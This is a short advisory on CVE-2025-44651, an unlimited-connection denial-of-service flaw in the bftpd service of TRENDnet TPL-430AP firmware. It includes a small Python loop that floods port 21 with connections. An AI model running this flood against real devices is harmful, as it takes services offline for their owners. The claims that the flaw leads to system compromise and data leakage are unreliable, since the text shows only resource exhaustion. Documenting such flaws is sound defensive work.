Overview
This report details a significant vulnerability, CVE-2025-44651, impacting the TRENDnet TPL-430AP FW1.0. This vulnerability arises from the USERLIMIT_GLOBAL option being set to zero in the bftpd-related configuration file, potentially causing Denial of Service (DoS) attacks when unlimited users are connected. It is a critical issue, as it could lead to a potential system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-44651
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
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Product | Affected Versions
TRENDnet TPL-430AP | FW1.0
How the Exploit Works
The vulnerability is exploited by a malicious actor who can send multiple connection requests to the server. As the USERLIMIT_GLOBAL option is set to 0, this allows unlimited concurrent connections from users, leading to resource exhaustion, and ultimately, a Denial of Service attack.
Conceptual Example Code
In a real-world scenario, the attacker would generate a large amount of connection requests to the server, something like the following pseudocode:
import socket
def create_connection(target_ip, target_port):
try:
socket.create_connection((target_ip, target_port))
except Exception as e:
pass
target_ip = "192.168.0.1"
target_port = 21
while True:
create_connection(target_ip, target_port)In this example, an attacker could run this script from multiple machines, generating a significant number of connections to the server, leading to resource exhaustion and a potential Denial of Service attack.
Security Mitigation
To mitigate this vulnerability, users are advised to apply the vendor’s patch when it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used as a temporary mitigation measure.
